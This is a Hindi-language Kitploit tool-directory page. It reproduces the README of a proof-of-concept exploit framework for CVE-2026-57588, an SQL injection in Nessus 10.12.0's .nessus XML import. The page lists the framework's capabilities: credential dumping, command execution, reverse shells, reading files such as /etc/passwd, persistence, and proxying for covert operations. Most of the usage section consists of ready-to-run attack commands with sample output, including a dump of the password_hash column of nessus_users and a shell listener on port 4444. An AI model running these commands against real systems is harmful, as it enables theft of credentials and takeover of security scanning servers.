Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC — CVE-2026-57588 के लिए PoC - Nessus 10.12.0 XML आयात में SQL इंजेक्शन। डेटाबेस गिनने, क्रेडेंशियल एक्सफिल्ट्रेट करने और समय-आधारित ब्लाइंड इंजेक्शन का परीक्षण करने के लिए दुर्भावनापूर्ण .nessus फ़ाइलें उत्पन्न करता है। अधिकृत सुरक्षा अनुसंधान के लिए। लेखक: Sudeepa Wanigarathna। 10.12.1 में पैच किया गया। | Kitploit
उपकरण/GitHubGitHub/cerberusmrxi/cve-2026-57588-nessus-xml-import-sql-injection-poc
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणडेटा निष्कासनपोस्ट-शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंग
डेटाबेस सुरक्षा
GitHubcerberusmrxi/cve-2026-57588-nessus-xml-import-sql-injection-poc

CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

रिपॉजिटरी देखें
1233 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →

विवरण

CVE-2026-57588 के लिए PoC - Nessus 10.12.0 XML आयात में SQL इंजेक्शन। डेटाबेस गिनने, क्रेडेंशियल एक्सफिल्ट्रेट करने और समय-आधारित ब्लाइंड इंजेक्शन का परीक्षण करने के लिए दुर्भावनापूर्ण .nessus फ़ाइलें उत्पन्न करता है। अधिकृत सुरक्षा अनुसंधान के लिए। लेखक: Sudeepa Wanigarathna। 10.12.1 में पैच किया गया।

साझा करें

🛡️ CVE-2026-57588 - Nessus SQL इंजेक्शन एक्सप्लॉइटेशन फ्रेमवर्क

Security Research CVE Version Python License


📋 विषय सूची

  • अवलोकन
  • कमजोरी विवरण
  • विशेषताएं
  • स्थापना
  • त्वरित शुरुआत
  • उपयोग उदाहरण
  • पेलोड प्रकार
  • उन्नत परिदृश्य
  • रिपोर्टिंग
  • समस्या निवारण
  • सुरक्षा संबंधी विचार
  • लाइसेंस

🔍 अवलोकन

CVE-2026-57588 Tenable Nessus संस्करण 10.12.0 और पूर्व में पाई गई एक गंभीर SQL इंजेक्शन कमजोरी है। यह कमजोरी .nessus स्कैन परिणाम फ़ाइलों को आयात करते समय XML पार्सिंग तंत्र में मौजूद है, जो आयात विशेषाधिकारों वाले प्रमाणित उपयोगकर्ताओं को बैकएंड PostgreSQL डेटाबेस के विरुद्ध मनमानी SQL क्वेरी निष्पादित करने की अनुमति देती है।


⚠️ कमजोरी विवरण

गुणमान
CVE IDCVE-2026-57588
कमजोरी प्रकारSQL इंजेक्शन
प्रभावित उत्पादTenable Nessus 10.12.0 और पूर्व
सुधारित संस्करणNessus 10.12.1 और बाद के
CVSS स्कोर4.3 (मध्यम)
हमला वेक्टरनेटवर्क
हमला जटिलतानिम्न
आवश्यक विशेषाधिकारप्रमाणित (आयात अनुमतियाँ)
उपयोगकर्ता सहभागिताआवश्यक (सोशल इंजीनियरिंग)
प्रभावडेटा चोरी, RCE

🔬 तकनीकी विवरण

यह कमजोरी XML टैग मानों के अपर्याप्त स्वच्छीकरण के कारण मौजूद है, जिन्हें आयात प्रक्रिया के दौरान SQL क्वेरी में शामिल किया जाता है। एक दुर्भावनापूर्ण अभिनेता XML टैग जैसे:

  • hostname
  • fqdn
  • os
  • system-type
  • mac-address
  • netbios-name

में विशेष रूप से तैयार SQL इंजेक्शन पेलोड वाली .nessus फ़ाइल बना सकता है।

जब कोई विशेषाधिकार प्राप्त उपयोगकर्ता दुर्भावनापूर्ण फ़ाइल आयात करता है, तो अस्वच्छीकृत मान PostgreSQL बैकएंड के विरुद्ध निष्पादित होते हैं, जिससे:

  • डेटाबेस गणना
  • डेटा चोरी
  • कमांड निष्पादन
  • फ़ाइल सिस्टम पहुँच
  • स्थायित्व स्थापना

सक्षम होती है।


✨ विशेषताएं

सुविधा सूची देखने के लिए क्लिक करें

🎯 पेलोड प्रबंधन

  • 13+ पेलोड प्रकार उद्देश्य के अनुसार वर्गीकृत
  • टेम्पलेट-आधारित पेलोड निर्माण
  • कस्टम पेलोड निर्माण और सत्यापन
  • पैरामीटर सत्यापन और सिंटैक्स जाँच
  • SQL सिंटैक्स सत्यापन

🚀 शोषण क्षमताएँ

  • बहु-चरणीय शोषण समानांतर निष्पादन के साथ
  • डेटाबेस पहचान और गणना
  • डेटा चोरी कस्टम तालिका/स्तंभ चयन के साथ
  • लक्ष्य प्रणाली पर कमांड निष्पादन
  • फ़ाइल सिस्टम पहुँच और पठन
  • रिवर्स शेल इंटरैक्टिव सत्र के साथ
  • स्थायित्व स्थापना तंत्र
  • समय-आधारित ब्लाइंड SQL इंजेक्शन
  • बूलियन-आधारित ब्लाइंड SQL इंजेक्शन
  • त्रुटि-आधारित SQL इंजेक्शन
  • स्टैक्ड क्वेरीज़ उन्नत शोषण के लिए
  • आउट-ऑफ-बैंड DNS चोरी

📊 रिपोर्टिंग और लॉगिंग

  • HTML रिपोर्ट पेशेवर स्टाइलिंग के साथ
  • मार्कडाउन रिपोर्ट दस्तावेज़ीकरण के लिए
  • JSON रिपोर्ट स्वचालन के लिए
  • टेक्स्ट रिपोर्ट त्वरित समीक्षा के लिए
  • लॉग रोटेशन कई स्तरों के साथ
  • विस्तृत निष्पादन आँकड़े
  • फ़ाइल हैशिंग अखंडता सत्यापन के लिए

🛠️ उन्नत विशेषताएं

  • समानांतर निष्पादन कॉन्फ़िगरेबल जॉब्स के साथ
  • प्रॉक्सी समर्थन गुप्त संचालन के लिए
  • SSL/TLS प्रमाणपत्र हैंडलिंग
  • XML सत्यापन और स्कीमा जाँच
  • इंटरैक्टिव मोड लाइव शोषण के लिए
  • पुनर्प्रयास तंत्र विश्वसनीयता के लिए
  • टाइमआउट कॉन्फ़िगरेशन धीमे कनेक्शन के लिए

📦 पेशेवर उपकरण

  • सबकमांड-आधारित CLI संरचना
  • वर्बोज़ और क्वाइट मोड
  • रंगीन टर्मिनल आउटपुट
  • प्रगति संकेतक लंबे कार्यों के लिए
  • डॉकर समर्थन कंटेनरीकृत परीक्षण के लिए
  • क्रॉस-प्लेटफ़ॉर्म संगतता (Linux, Windows, macOS)

📦 स्थापना

🐍 पूर्वापेक्षाएँ

  • Python 3.7 या उच्चतर
  • pip (पायथन पैकेज मैनेजर)
  • Git (वैकल्पिक, क्लोनिंग के लिए)

🔧 त्वरित स्थापना

# रिपॉजिटरी क्लोन करें
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

# वर्चुअल वातावरण बनाएं और सक्रिय करें
python3 -m venv venv
source venv/bin/activate  # विंडोज़ पर: venv\Scripts\activate

# निर्भरताएँ स्थापित करें
pip install -r requirements.txt

# स्थापना सत्यापित करें
python3 exploit.py --version

🐳 डॉकर स्थापना

# डॉकर इमेज बनाएं
docker build -t nessus-exploit .

# टूल चलाएं
docker run -it --rm nessus-exploit generate -u https://test.com -p enum

📦 पैकेज स्थापना

# एक पैकेज के रूप में स्थापित करें
pip install -e .

# अब कहीं से भी चलाएं
nessus-exploit generate -u https://test.com -p enum

🚀 त्वरित शुरुआत

मूल उपयोग

# एक बुनियादी गणना शोषण उत्पन्न करें
python3 exploit.py generate -u https://test.com -p enum

# उन्नत बहु-चरणीय शोषण उत्पन्न करें
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus

# डेटाबेस से डेटा निकालें
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

कमांड सहायता

# सामान्य सहायता दिखाएं
python3 exploit.py --help

# generate कमांड सहायता दिखाएं
python3 exploit.py generate --help

# सभी उपलब्ध पेलोड सूचीबद्ध करें
python3 exploit.py list

💡 उपयोग उदाहरण

1. बुनियादी गणना

python3 exploit.py generate -u https://test.com -p enum
अपेक्षित आउटपुट
[2026-07-22 10:15:23] [INFO] [*] https://test.com के विरुद्ध शोषण शुरू
[2026-07-22 10:15:23] [INFO] [*] सत्र: xK9mN2pQ5wR8yV7tJ4sL3fG6hD1
[2026-07-22 10:15:23] [INFO] [*] पेलोड: enum
[2026-07-22 10:15:23] [INFO] [*] चरण निष्पादित: fingerprint
[2026-07-22 10:15:24] [INFO] [+] उत्पन्न XML: exploit_20260722_fingerprint_101523.nessus (3847 बाइट्स)
[2026-07-22 10:15:24] [INFO] [*] चरण निष्पादित: schema_dump
[2026-07-22 10:15:25] [INFO] [+] उत्पन्न XML: exploit_20260722_schema_dump_101524.nessus (4213 बाइट्स)
[2026-07-22 10:15:25] [INFO] [+] शोषण पूर्ण! अवधि: 2.15s

============================================================
शोषण सारांश
============================================================
लक्ष्य: https://test.com
स्थिति: सफल
अवधि: 2.15s
उत्पन्न फ़ाइलें: 3
उत्पन्न रिपोर्ट: 3
============================================================

2. उन्नत बहु-चरणीय शोषण

python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v

3. डेटा चोरी

# उपयोगकर्ता क्रेडेंशियल निकालें
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

# कस्टम स्तंभों के साथ निकालें
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status

4. रिवर्स शेल

# श्रोता शुरू करें और शोषण उत्पन्न करें
python3 exploit.py generate -u https://test.com -p shell -lp 4444 -o shell.nessus

5. कमांड निष्पादन

# बुनियादी कमांड निष्पादित करें
python3 exploit.py generate -u https://test.com -p exec --command "whoami && id && uname -a"

# जटिल कमांड निष्पादित करें
python3 exploit.py generate -u https://test.com -p exec --command "ps aux | grep nessus"

6. फ़ाइल पढ़ना

# सिस्टम फ़ाइलें पढ़ें
python3 exploit.py generate -u https://test.com -p file -f /etc/passwd

# एप्लिकेशन लॉग पढ़ें
python3 exploit.py generate -u https://test.com -p file -f /var/log/nessus/nessusd.log

7. समय-आधारित ब्लाइंड इंजेक्शन

# 5 सेकंड विलंब
python3 exploit.py generate -u https://test.com -p sleep -s 5

# भारी परीक्षण के लिए 30 सेकंड विलंब
python3 exploit.py generate -u https://test.com -p sleep -s 30

8. प्रॉक्सी समर्थन के साथ

टूल डाउनलोड करें